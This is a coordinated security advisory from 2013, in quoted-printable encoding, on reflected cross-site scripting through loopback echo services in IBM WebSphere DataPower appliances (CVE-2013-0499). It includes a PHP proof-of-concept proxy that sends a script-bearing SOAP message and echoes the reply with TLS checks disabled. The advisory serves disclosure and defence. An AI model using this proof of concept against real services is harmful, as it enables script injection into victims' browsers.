SEC Consult Vulnerability Lab Security Advisory < 20130523-0 >
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
title: JavaScript Execution in WebSphere DataPower Services
product: IBM WebSphere DataPower Integration Appliance XI50
vulnerable version: 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0
fixed version: not available, config changes
CVE number: CVE-2013-0499
impact: Low/Medium
homepage: https://www.ibm.com/
found: 2013-01-28
by: A. Falkenberg
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Vendor/product description:
-----------------------------
WebSphere=C2=AE DataPower=C2=AE appliances simplify, govern, and optimize t=
he delivery=20
of services and applications and enhance the security of XML and IT service=
s.
They extend the capabilities of an infrastructure by providing a multitude =
of
functions.
URL: http://www-03.ibm.com/software/products/us/en/datapower/
Vulnerability overview/description:
-----------------------------------
For the purposes of debugging, DataPower provides configuration options to=
=20
echo requests received from the client. For example, XML Firewall service c=
an
be configured to echo requests by choosing the backend as 'loopback'. Other=
=20
services like Multi Protocol Gateway and Web Service Proxy can be configure=
d=20
to echo requests by setting the variable =E2=80=9Cvar://service/mpgw/skip-b=
ackside=E2=80=9D in=20
its processing policy.=20
In such configurations, the requests are not sent to a backend server. With=
out=20
adequate validation and processing, the requests may be echoed back to the=
=20
client. Loopback services that blindly echo requests should only be used fo=
r=20
debugging purposes and not intended to be run in production environments as=
=20
they can result in potential security threats. For example, if an arbitrary=
=20
JavaScript embedded request is sent to such services, they will simply echo=
it
back resulting in a potential JavaScript execution vulnerability in the=20
client's browser.
URL: https://www-304.ibm.com/support/docview.wss?uid=3Dswg21637717
Proof of concept:
-----------------
The proof of concept was tested on an IBM Xi50 with the backend configured =
as=20
a "loopback" Web Service. The "loopback" Web Service can be used to execute=
=20
arbitrary JavaSscript code in a victims browser. Any valid SOAP message sen=
t=20
to the Web service is returned unmodified to the receiver. If the SOAP=20
response of the "loopback" Web Service is parsed by a browser, any JavaScri=
pt
that is contained within the XML document will get executed.=20
The following PHP script demonstrates a reflected cross site scripting.
<?php
$soapEndpoint =3D "http://127.0.0.1:80";
$soapMessage =3D=20
'<?xml version=3D"1.0"?><soapenv:Envelope xmlns:soapenv=3D"http://schemas.x=
mlsoap.org/soap/envelope/" xmlns:sam=3D"http://sample02.policy.samples.ramp=
art.apache.org">
<soapenv:Header/>
<soapenv:Body>
<sam:echo>
<html:html xmlns:html=3D"http://www.w3.org/1999/xhtml">
<html:script>alert("XML XSS");</html:script>
</html:html>
</sam:echo>
</soapenv:Body>
</soapenv:Envelope>';
if(isset($_POST['soapMessage']) and isset($_POST['soapUrl'])){
$soap_do =3D curl_init();=20
curl_setopt($soap_do, CURLOPT_URL, $_POST['soapUrl'] ); =20
curl_setopt($soap_do, CURLOPT_CONNECTTIMEOUT, 10);=20
curl_setopt($soap_do, CURLOPT_TIMEOUT, 10);=20
curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true );
curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); =20
curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false);=20
curl_setopt($soap_do, CURLOPT_POST, true );=20
curl_setopt($soap_do, CURLOPT_POSTFIELDS, $_POST['soapMessage']);=20
curl_setopt($soap_do, CURLOPT_HTTPHEADER, array('Content-Type: text/xm=
l; charset=3Dutf-8', 'Content-Length: '.strlen($_POST['soapMessage']) ));=20
$result =3D curl_exec($soap_do);
$err =3D curl_error($soap_do);=09
header('Content-type: text/xml');
echo $result;
exit;
}
?>
<html>
<body>
<h1>XSS XML Proxy</h1>
<form name=3D"input" action=3D"" method=3D"post">
SOAP Endpoint: <input type=3D"text" name=3D"soapUrl" value=3D"<?php=
echo $soapEndpoint; ?>"><br />
SOAP Message: <textarea cols=3D"70" name=3D"soapMessage" rows=
=3D"14"><?php echo $soapMessage; ?></textarea><br />
<br />
<input type=3D"submit" value=3D"Submit">
</form>=20
</body>
</html>
Vulnerable / tested versions:
-----------------------------
SEC Consult verified the vulnerability in the WebSphere DataPower Appliance=
XI50.=20
The vendor provided an extended list of vulnerable versions:=20
WebSphere DataPower 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0.
Vendor contact timeline:
------------------------
2013-01-30: Sending advisory and proof of concept exploit via encrypted cha=
nnel.
2013-01-31: Vendor confirms receipt
2013-05-17: Vendor posts security bulletin
2013-05-23: SEC Consult releases coordinated security advisory.
Solution:
---------
The vendor does not offer a patch.=20
The vulnerability can be prevented by disabling the services to blindly echo
requests back. A detailed description can be found on the vendor's site:
https://www-304.ibm.com/support/docview.wss?uid=3Dswg21637717
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria
Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF A. Falkenberg / @2013